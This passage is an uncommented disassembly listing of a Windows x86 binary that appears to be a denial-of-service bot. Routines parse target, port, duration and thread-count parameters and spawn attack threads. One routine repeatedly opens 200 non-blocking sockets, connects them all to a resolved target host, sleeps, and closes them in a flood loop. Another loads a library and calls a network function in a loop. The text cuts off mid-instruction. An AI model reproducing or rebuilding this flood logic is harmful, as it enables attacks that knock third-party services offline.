4 lea edx, [esp+9Ch+var_54] push 4 push edx call sub_13ABDB5 add esp, 30h push esi mov ecx, eax mov [esp+78h+var_34], 4 call sub_13ABBE4 add esi, 8Eh push eax push esi mov ecx, offset dword_447168 call sub_13AB991 lea ecx, [esp+80h+var_60] mov [esp+80h+var_40], edi call sub_13AB626 mov ecx, [esp+80h+var_48] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn sub_13CFDA0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13CFFF0 proc near ; CODE XREF: sub_13ABF6Dj var_128 = byte ptr -128h var_11C = byte ptr -11Ch var_110 = byte ptr -110h var_10C = dword ptr -10Ch var_104 = byte ptr -104h var_FC = dword ptr -0FCh var_F8 = dword ptr -0F8h var_F4 = byte ptr -0F4h var_F0 = dword ptr -0F0h var_EC = byte ptr -0ECh var_E4 = dword ptr -0E4h var_E0 = byte ptr -0E0h var_D8 = dword ptr -0D8h var_D4 = byte ptr -0D4h var_CC = dword ptr -0CCh var_C8 = dword ptr -0C8h var_BC = dword ptr -0BCh var_B8 = byte ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_A8 = dword ptr -0A8h var_A4 = byte ptr -0A4h var_9C = dword ptr -9Ch var_98 = byte ptr -98h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_80 = dword ptr -80h var_7C = byte ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_6C = dword ptr -6Ch var_68 = byte ptr -68h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_54 = dword ptr -54h var_50 = dword ptr -50h var_44 = dword ptr -44h var_40 = byte ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_24 = dword ptr -24h var_18 = dword ptr -18h var_14 = dword ptr -14h var_8 = dword ptr -8 arg_0 = dword ptr 4 push 0FFFFFFFFh push 43B6C4h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 34h push ebx push ebp push esi mov esi, [esp+4Ch+arg_0] mov ebx, ecx push edi lea ebp, [esi+7Eh] lea ecx, [ebx+60h] mov [esp+50h+arg_0], ebp call sub_13AB8D3 push eax mov ecx, ebp call sub_13AB6EE mov edi, atoi test eax, eax jnz loc_13D0188 push 95h call near ptr 13E0C1Ah add esp, 4 mov [esp+54h+var_44], eax xor ebp, ebp cmp eax, ebp mov [esp+54h+var_8], ebp jz short loc_13D005B mov ecx, eax call sub_13AC1D9 mov ebp, eax loc_13D005B: ; CODE XREF: sub_13CFFF0+60j push offset dword_443600 lea eax, [esp+58h+var_40] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov [esp+60h+var_8], 0FFFFFFFFh mov [ebp+91h], ebx call sub_13ABAAE push eax lea ecx, [ebp+3Bh] mov [esp+64h+var_14], 1 call sub_13AC3BE lea ecx, [esp+64h+var_50] mov [esp+64h+var_18], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea ecx, [esp+68h+var_50] push 2 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+70h+var_24], 2 call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+70h+var_5C] mov [ebp+50h], eax mov [esp+70h+var_24], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea edx, [esp+74h+var_5C] push 3 push edx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+7Ch+var_30], 3 call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+7Ch+var_68] mov [ebp+54h], eax mov [esp+7Ch+var_30], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea eax, [esp+80h+var_68] push 4 push eax mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+88h+var_3C], 4 call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+88h+var_74] mov [ebp+58h], eax mov [esp+88h+var_3C], 0FFFFFFFFh call sub_13AB626 lea ecx, [esi+69h] push ecx lea ecx, [ebp+26h] call sub_13AC3BE mov dl, [esi+93h] mov ecx, ebp mov [ebp+8Fh], dl mov al, [esi+94h] mov [ebp+90h], al call sub_13AB7D4 mov ebp, [esp+8Ch+var_38] loc_13D0188: ; CODE XREF: sub_13CFFF0+41j lea ecx, [ebx+8Eh] call sub_13AB8D3 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13D02FA push 95h call near ptr 13E0C1Ah add esp, 4 mov [esp+90h+var_80], eax test eax, eax mov [esp+90h+var_44], 5 jz short loc_13D01CB mov ecx, eax call sub_13ABFC7 mov ebp, eax jmp short loc_13D01CD ; --------------------------------------------------------------------------- loc_13D01CB: ; CODE XREF: sub_13CFFF0+1CEj xor ebp, ebp loc_13D01CD: ; CODE XREF: sub_13CFFF0+1D9j push offset dword_443600 lea ecx, [esp+94h+var_7C] push 1 push ecx mov byte ptr [ebx+11Ch], 1 mov ecx, esi mov [esp+9Ch+var_44], 0FFFFFFFFh mov [ebp+91h], ebx call sub_13ABAAE push eax lea ecx, [ebp+3Bh] mov [esp+0A0h+var_50], 6 call sub_13AC3BE lea ecx, [esp+0A0h+var_8C] mov [esp+0A0h+var_54], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea edx, [esp+0A4h+var_8C] push 2 push edx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+0ACh+var_60], 7 call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+0ACh+var_98] mov [ebp+50h], eax mov [esp+0ACh+var_60], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea eax, [esp+0B0h+var_98] push 3 push eax mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+0B8h+var_6C], 8 call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+0B8h+var_A4] mov [ebp+54h], eax mov [esp+0B8h+var_6C], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea ecx, [esp+0BCh+var_A4] push 4 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+0C4h+var_78], 9 call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+0C4h+var_B0] mov [ebp+58h], eax mov [esp+0C4h+var_78], 0FFFFFFFFh call sub_13AB626 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_13AC3BE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_13AB7D4 mov ebp, [esp+0C8h+var_74] loc_13D02FA: ; CODE XREF: sub_13CFFF0+1ADj lea ecx, [ebx+4] call sub_13AB8D3 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13D0469 push 95h call near ptr 13E0C1Ah add esp, 4 mov [esp+0CCh+var_BC], eax test eax, eax mov [esp+0CCh+var_80], 0Ah jz short loc_13D033A mov ecx, eax call sub_13AB70C mov ebp, eax jmp short loc_13D033C ; --------------------------------------------------------------------------- loc_13D033A: ; CODE XREF: sub_13CFFF0+33Dj xor ebp, ebp loc_13D033C: ; CODE XREF: sub_13CFFF0+348j push offset dword_443600 lea edx, [esp+0D0h+var_B8] push 1 mov byte ptr [ebx+11Ch], 1 push edx mov ecx, esi mov [esp+0D8h+var_80], 0FFFFFFFFh mov [ebp+91h], ebx call sub_13ABAAE push eax lea ecx, [ebp+3Bh] mov [esp+0DCh+var_8C], 0Bh call sub_13AC3BE lea ecx, [esp+0DCh+var_C8] mov [esp+0DCh+var_90], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea eax, [esp+0E0h+var_C8] push 2 push eax mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+0E8h+var_9C], 0Ch call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+0E8h+var_D4] mov [ebp+5Ch], eax mov [esp+0E8h+var_9C], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea ecx, [esp+0ECh+var_D4] push 3 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+0F4h+var_A8], 0Dh call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+0F4h+var_E0] mov [ebp+60h], eax mov [esp+0F4h+var_A8], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea edx, [esp+0F8h+var_E0] push 4 push edx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+100h+var_B4], 0Eh call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+100h+var_EC] mov [ebp+54h], eax mov [esp+100h+var_B4], 0FFFFFFFFh call sub_13AB626 lea eax, [esi+69h] lea ecx, [ebp+26h] push eax call sub_13AC3BE mov cl, [esi+93h] mov [ebp+8Fh], cl mov dl, [esi+94h] mov ecx, ebp mov [ebp+90h], dl call sub_13AB7D4 mov ebp, [esp+104h+var_B0] loc_13D0469: ; CODE XREF: sub_13CFFF0+31Cj lea ecx, [ebx+32h] call sub_13AB8D3 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz loc_13D0614 push 95h call near ptr 13E0C1Ah add esp, 4 mov [esp+108h+var_F8], eax test eax, eax mov [esp+108h+var_BC], 0Fh jz short loc_13D04A9 mov ecx, eax call sub_13ABB85 mov ebp, eax jmp short loc_13D04AB ; --------------------------------------------------------------------------- loc_13D04A9: ; CODE XREF: sub_13CFFF0+4ACj xor ebp, ebp loc_13D04AB: ; CODE XREF: sub_13CFFF0+4B7j push offset dword_443600 lea eax, [esp+10Ch+var_F4] push 1 mov byte ptr [ebx+11Ch], 1 push eax mov ecx, esi mov [esp+114h+var_BC], 0FFFFFFFFh mov [ebp+91h], ebx call sub_13ABAAE push eax lea ecx, [ebp+3Bh] mov [esp+118h+var_C8], 10h call sub_13AC3BE lea ecx, [esp+118h+var_104] mov [esp+118h+var_CC], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea ecx, [esp+11Ch+var_104] push 2 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+124h+var_D8], 11h call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+124h+var_110] mov [ebp+5Ch], eax mov [esp+124h+var_D8], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea edx, [esp+128h+var_110] push 3 push edx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+130h+var_E4], 12h call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+130h+var_11C] mov [ebp+60h], eax mov [esp+130h+var_E4], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea eax, [esp+134h+var_11C] push 4 push eax mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+13Ch+var_F0], 13h call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+13Ch+var_128] mov [ebp+54h], eax mov [esp+13Ch+var_F0], 0FFFFFFFFh call sub_13AB626 push offset dword_443600 lea ecx, [esp+140h+var_110] push 5 push ecx mov ecx, esi call sub_13ABAAE mov ecx, eax mov [esp+148h+var_FC], 14h call sub_13ABBE4 push eax call edi ; atoi add esp, 4 lea ecx, [esp+148h+var_11C] mov [ebp+58h], eax mov [esp+148h+var_FC], 0FFFFFFFFh call sub_13AB626 lea edx, [esi+69h] lea ecx, [ebp+26h] push edx call sub_13AC3BE mov al, [esi+93h] mov [ebp+8Fh], al mov cl, [esi+94h] mov [ebp+90h], cl mov ecx, ebp call sub_13AB7D4 mov ebp, [esp+14Ch+var_F8] loc_13D0614: ; CODE XREF: sub_13CFFF0+48Bj lea ecx, [ebx+0EAh] call sub_13AB8D3 push eax mov ecx, ebp call sub_13AB6EE test eax, eax jnz short loc_13D0631 mov [ebx+11Ch], al loc_13D0631: ; CODE XREF: sub_13CFFF0+639j mov ecx, [esp+150h+var_10C] pop edi pop esi pop ebp mov al, 1 pop ebx mov large fs:0, ecx add esp, 40h retn 4 sub_13CFFF0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 1A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D07F0 proc near ; CODE XREF: sub_13ABE64j push ecx mov edx, ds:dword_447A54 push esi mov esi, ecx mov eax, [esi+91h] mov ecx, [eax+118h] cmp edx, ecx jl short loc_13D0811 inc ecx mov [eax+118h], ecx loc_13D0811: ; CODE XREF: sub_13D07F0+18j mov eax, [esi] mov ecx, esi call dword ptr [eax+8] mov eax, [esi+91h] mov [esp+4], esi mov ecx, [eax+118h] dec ecx mov [eax+118h], ecx lea ecx, [esp+4] push ecx mov ecx, offset byte_E2AAEB call sub_13AB60D xor eax, eax pop esi pop ecx retn sub_13D07F0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D0870 proc near ; CODE XREF: sub_13AB70Cj var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43B708h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC37D push offset dword_444DAC lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset dword_43E0DC call sub_13AB9D7 mov ecx, [esp+18h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D0870 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D08E0 proc near ; CODE XREF: sub_13AC37Dj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43B754h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC26A lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_13AB824 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB824 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB824 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_13AB824 lea ecx, [esi+79h] mov byte ptr [esp+14h+var_4], 4 call sub_13AB824 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset dword_43E0EC mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D08E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D0980 proc near ; CODE XREF: sub_13AB8C4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43B7A4h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset dword_43E0EC lea ecx, [esi+79h] mov [esp+14h+var_4], 4 call sub_13AB626 lea ecx, [esi+64h] mov byte ptr [esp+14h+var_4], 3 call sub_13AB626 lea ecx, [esi+3Bh] mov byte ptr [esp+14h+var_4], 2 call sub_13AB626 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_13AB626 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_13AB626 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_13AC431 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_13D0980 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D0A40 proc near ; CODE XREF: sub_13ABAD1j sub_13AC57Bj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AB8C4 test [esp+4+arg_0], 1 jz short loc_13D0A58 push esi call near ptr 13E0C02h add esp, 4 loc_13D0A58: ; CODE XREF: sub_13D0A40+Dj mov eax, esi pop esi retn 4 sub_13D0A40 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D0A70 proc near ; CODE XREF: sub_13AB5FEj sub_13AC481j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13AC490 test [esp+4+arg_0], 1 jz short loc_13D0A88 push esi call near ptr 13E0C02h add esp, 4 loc_13D0A88: ; CODE XREF: sub_13D0A70+Dj mov eax, esi pop esi retn 4 sub_13D0A70 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13D0AA0 proc near ; CODE XREF: sub_13AC490j jmp sub_13AB8C4 sub_13D0AA0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D0AC0 proc near ; CODE XREF: sub_13ABE41j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43B7C8h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] lea edi, [esi+3Bh] push eax push ecx push edx mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_13ABBE4 push eax mov ecx, ebx call sub_13ABBE4 push eax push offset dword_444E14 mov ecx, ebp call sub_13AB8D3 mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 28h lea ecx, [esp+34h+var_24] call sub_13AB824 mov edx, [esi+54h] mov eax, [esi+60h] mov ecx, [esi+5Ch] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_13AB8D3 push eax call sub_13ABC2F add esp, 10h test eax, eax jz short loc_13D0B84 mov edx, [esi+5Ch] mov ecx, edi push edx call sub_13ABBE4 push eax mov ecx, ebx call sub_13ABBE4 push eax lea eax, [esp+40h+var_24] push offset dword_444DE8 push eax call sub_13AB42D add esp, 14h jmp short loc_13D0B9E ; --------------------------------------------------------------------------- loc_13D0B84: ; CODE XREF: sub_13D0AC0+9Aj mov ecx, ebx call sub_13ABBE4 push eax lea ecx, [esp+38h+var_24] push offset dword_444DB4 push ecx call sub_13AB42D add esp, 0Ch loc_13D0B9E: ; CODE XREF: sub_13D0AC0+C2j lea ecx, [esp+34h+var_24] call sub_13ABBE4 push eax mov ecx, ebp call sub_13AB8D3 mov dl, [esi+90h] push eax mov al, [esi+8Fh] push edx push eax push offset byte_E19CC5 call sub_13ABC48 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_13AB626 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_13D0AC0 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D0C40 proc near ; CODE XREF: sub_13AC27Ej var_19 = byte ptr -19h var_18 = byte ptr -18h arg_0 = byte ptr 4 arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFFCh call near ptr 13E0C60h push esi push edi push offset dword_444E70 call LoadLibraryA ; LoadLibraryA mov esi, eax test esi, esi jz short loc_13D0CAA mov edi, GetProcAddress push offset dword_444E5C push esi call edi ; GetProcAddress push offset dword_444E48 push esi mov ds:dword_102C2F8, eax call edi ; GetProcAddress push offset dword_444E38 push esi mov ds:dword_102C2FC, eax call edi ; GetProcAddress mov ecx, ds:dword_102C2F8 mov ds:dword_102C2F4, eax test ecx, ecx jz short loc_13D0CAA mov edx, ds:dword_102C2FC test edx, edx jz short loc_13D0CAA test eax, eax jz short loc_13D0CAA mov al, [esp+24h+var_19] test al, al jz short loc_13D0CB5 loc_13D0CAA: ; CODE XREF: sub_13D0C40+1Bj ; sub_13D0C40+52j ... pop edi xor eax, eax pop esi add esp, 0FFFCh retn ; --------------------------------------------------------------------------- loc_13D0CB5: ; CODE XREF: sub_13D0C40+68j mov edx, [esp+24h+arg_FFE8] mov eax, 0FFDCh cmp edx, eax jle short loc_13D0CCC mov [esp+24h+arg_FFE8], eax loc_13D0CCC: ; CODE XREF: sub_13D0C40+83j push ebx push ebp mov ebp, [esp+2Ch+arg_FFEC] cmp ebp, 1 jge short loc_13D0CDF mov ebp, 1 loc_13D0CDF: ; CODE XREF: sub_13D0C40+98j call ecx ; dword_102C2F8 mov ebx, [esp+2Ch+arg_FFE4] xor esi, esi test ebx, ebx mov edi, eax jle short loc_13D0D24 loc_13D0CF0: ; CODE XREF: sub_13D0C40+E2j mov al, ds:byte_E1A109 test al, al jz short loc_13D0D24 mov ecx, [esp+2Ch+arg_FFE8] push ebp lea eax, [esp+30h+var_18] push 1Ch push eax mov eax, [esp+38h+arg_FFE0] push 0 lea edx, [esp+3Ch+arg_0] push ecx push edx push eax push edi call ds:dword_102C2F4 inc esi cmp esi, ebx jl short loc_13D0CF0 loc_13D0D24: ; CODE XREF: sub_13D0C40+AEj ; sub_13D0C40+B7j push edi call ds:dword_102C2FC pop ebp pop ebx pop edi mov eax, 1 pop esi add esp, 0FFFCh retn sub_13D0C40 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 5 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D0D80 proc near ; CODE XREF: sub_13ABC2Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_0] push eax call sub_13ABC7F mov ecx, [esp+4+arg_C] mov edx, [esp+4+arg_8] push ecx mov ecx, [esp+8+arg_4] push edx push ecx push eax call sub_13AC27E add esp, 14h retn sub_13D0D80 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D0DC0 proc near ; CODE XREF: sub_13ABFC7j var_10 = dword ptr -10h var_4 = dword ptr -4 push 0FFFFFFFFh push 43B7E8h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_13AC37D push offset dword_444E7C lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset dword_43E0FC call sub_13AB9D7 mov ecx, [esp+18h+var_10] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_13D0DC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D0E30 proc near ; CODE XREF: sub_13ABE19j sub_13ABEAFj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_13ABBFD test [esp+4+arg_0], 1 jz short loc_13D0E48 push esi call near ptr 13E0C02h add esp, 4 loc_13D0E48: ; CODE XREF: sub_13D0E30+Dj mov eax, esi pop esi retn 4 sub_13D0E30 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_13D0E60 proc near ; CODE XREF: sub_13ABBFDj jmp sub_13AB8C4 sub_13D0E60 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D0E80 proc near ; CODE XREF: sub_13AB766j var_28 = dword ptr -28h var_24 = byte ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 43B808h mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx mov ebx, ecx xor eax, eax mov ecx, offset byte_E299DF mov [esp+2Ch+var_28], eax loc_13D0EA6: ; CODE XREF: sub_13D0E80+35j cmp dword ptr [ecx], 0 jz short loc_13D0EB7 add ecx, 78h inc eax cmp ecx, offset byte_E2A33F jl short loc_13D0EA6 loc_13D0EB7: ; CODE XREF: sub_13D0E80+29j cmp eax, 13h mov [esp+2Ch+var_28], eax jg loc_13D1069 lea eax, [eax+eax*2] push ebp push esi push edi lea eax, [eax+eax*4] lea ecx, [ebx+3Bh] lea ebp, ds:0E2996Bh[eax*8] call sub_13ABBE4 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov cx, [ebx+58h] push ecx call htons ; htons and eax, 0FFFFh mov [ebp+64h], eax mov eax, [ebx+54h] cmp eax, 5 mov [ebp+68h], eax jge short loc_13D0F20 mov dword ptr [ebp+68h], 5 loc_13D0F20: ; CODE XREF: sub_13D0E80+97j mov edx, [ebx+50h] mov ecx, 80h xor eax, eax mov edi, offset dword_102C304 mov [ebp+6Ch], edx lea esi, [ebx+11h] rep stosd mov eax, [ebx+50h] mov ecx, [ebx+58h] push eax push ecx lea ecx, [ebx+3Bh] lea edi, [ebx+26h] call sub_13ABBE4 push eax mov ecx, esi call sub_13ABBE4 push eax push offset dword_444EC0 mov ecx, edi call sub_13AB8D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_E19CC5 call sub_13ABC48 mov ecx, [esp+44h+var_10] add esp, 24h push offset dword_102C504 push 0 push ecx push 4012C1h push 0 push 0 call CreateThread ; CreateThread test eax, eax mov ds:dword_102C508, eax jz short loc_13D0FBB push offset dword_446F84 push 5 push eax push 0 push offset dword_102C304 call sub_13AB7E8 add esp, 14h mov [ebp+70h], eax jmp short loc_13D0FEB ; --------------------------------------------------------------------------- loc_13D0FBB: ; CODE XREF: sub_13D0E80+11Dj mov ecx, esi call sub_13ABBE4 push eax push offset dword_444EA0 mov ecx, edi call sub_13AB8D3 mov dl, [ebx+90h] push eax mov al, [ebx+8Fh] push edx push eax push offset byte_E19CC5 call sub_13ABC48 add esp, 18h loc_13D0FEB: ; CODE XREF: sub_13D0E80+139j lea ecx, [esp+38h+var_24] call sub_13AB824 mov ecx, [ebx+58h] mov [esp+38h+var_4], 0 push ecx lea ecx, [ebx+3Bh] call sub_13ABBE4 push eax mov ecx, esi call sub_13ABBE4 push eax lea edx, [esp+44h+var_24] push offset dword_444E84 push edx call sub_13AB42D add esp, 14h lea ecx, [esp+38h+var_24] call sub_13ABBE4 push eax push offset dword_4435F0 mov ecx, edi call sub_13AB8D3 mov cl, [ebx+8Fh] push eax mov al, [ebx+90h] push eax push ecx push offset byte_E19CC5 call sub_13ABC48 add esp, 18h lea ecx, [esp+38h+var_24] mov [esp+38h+var_4], 0FFFFFFFFh call sub_13AB626 pop edi pop esi pop ebp loc_13D1069: ; CODE XREF: sub_13D0E80+3Ej mov ecx, [esp+2Ch+var_C] pop ebx mov large fs:0, ecx add esp, 28h retn sub_13D0E80 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_13D1100 proc near ; CODE XREF: sub_13AB6C1j var_338 = dword ptr -338h var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_328 = dword ptr -328h var_324 = dword ptr -324h var_320 = byte ptr -320h arg_0 = dword ptr 4 sub esp, 338h mov eax, [esp+338h+arg_0] push ebp push esi mov esi, 1 lea eax, [eax+eax*2] lea eax, [eax+eax*4] lea ebp, ds:0E2996Bh[eax*8] xor eax, eax mov [esp+340h+var_334], eax mov word ptr [esp+340h+var_334], 2 mov [ebp+74h], esi mov cx, [ebp+64h] mov [esp+340h+var_330], eax push ecx mov [esp+344h+var_32C], eax mov [esp+344h+var_328], eax call htons ; htons push ebp mov [esp+344h+var_324], esi mov word ptr [esp+344h+var_334+2], ax call inet_addr ; inet_addr cmp eax, 0FFFFFFFFh jnz short loc_13D1196 push ebp call gethostbyname ; gethostbyname xor edx, edx cmp eax, edx jnz short loc_13D118F mov [ebp+74h], edx mov ecx, [ebp+70h] pop esi pop ebp lea eax, [ecx+ecx*4] shl eax, 4 sub eax, ecx lea eax, [eax+eax*4] mov ds:dword_E1A385[eax*2], edx xor eax, eax add esp, 338h retn 4 ; --------------------------------------------------------------------------- loc_13D118F: ; CODE XREF: sub_13D1100+68j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_13D1196: ; CODE XREF: sub_13D1100+5Bj mov [esp+340h+var_330], eax mov eax, [ebp+6Ch] push ebx push edi test eax, eax mov [esp+348h+var_338], 0 jle loc_13D1246 mov ebx, socket loc_13D11B5: ; CODE XREF: sub_13D1100+140j mov al, ds:byte_E1A109 test al, al jz loc_13D1246 lea esi, [esp+348h+var_320] mov edi, 0C8h loc_13D11CB: ; CODE XREF: sub_13D1100+EFj push 0 push 1 push 2 call ebx ; socket cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_13D11EB lea ecx, [esp+348h+var_324] push ecx push 8004667Eh push eax call ioctlsocket ; ioctlsocket loc_13D11EB: ; CODE XREF: sub_13D1100+D8j add esi, 4 dec edi jnz short loc_13D11CB lea esi, [esp+348h+var_320] mov edi, 0C8h loc_13D11FA: ; CODE XREF: sub_13D1100+10Ej mov eax, [esi] lea edx, [esp+348h+var_334] push 10h push edx push eax call connect ; connect add esi, 4 dec edi jnz short loc_13D11FA mov ecx, [ebp+68h] push ecx call Sleep ; Sleep lea esi, [esp+348h+var_320] mov edi, 0C8h loc_13D1223: ; CODE XREF: sub_13D1100+130j mov edx, [esi] push edx call closesocket ; closesocket add esi, 4 dec edi jnz short loc_13D1223 mov eax, [esp+348h+var_338] mov ecx, [ebp+6Ch] inc eax cmp eax, ecx mov [esp+348h+var_338], eax jl loc_13D11B5 loc_13D1246: ; CODE XREF: sub_13D1100+A9j ; sub_13D1100+BCj xor edx, edx pop edi mov [ebp+74h], edx mov 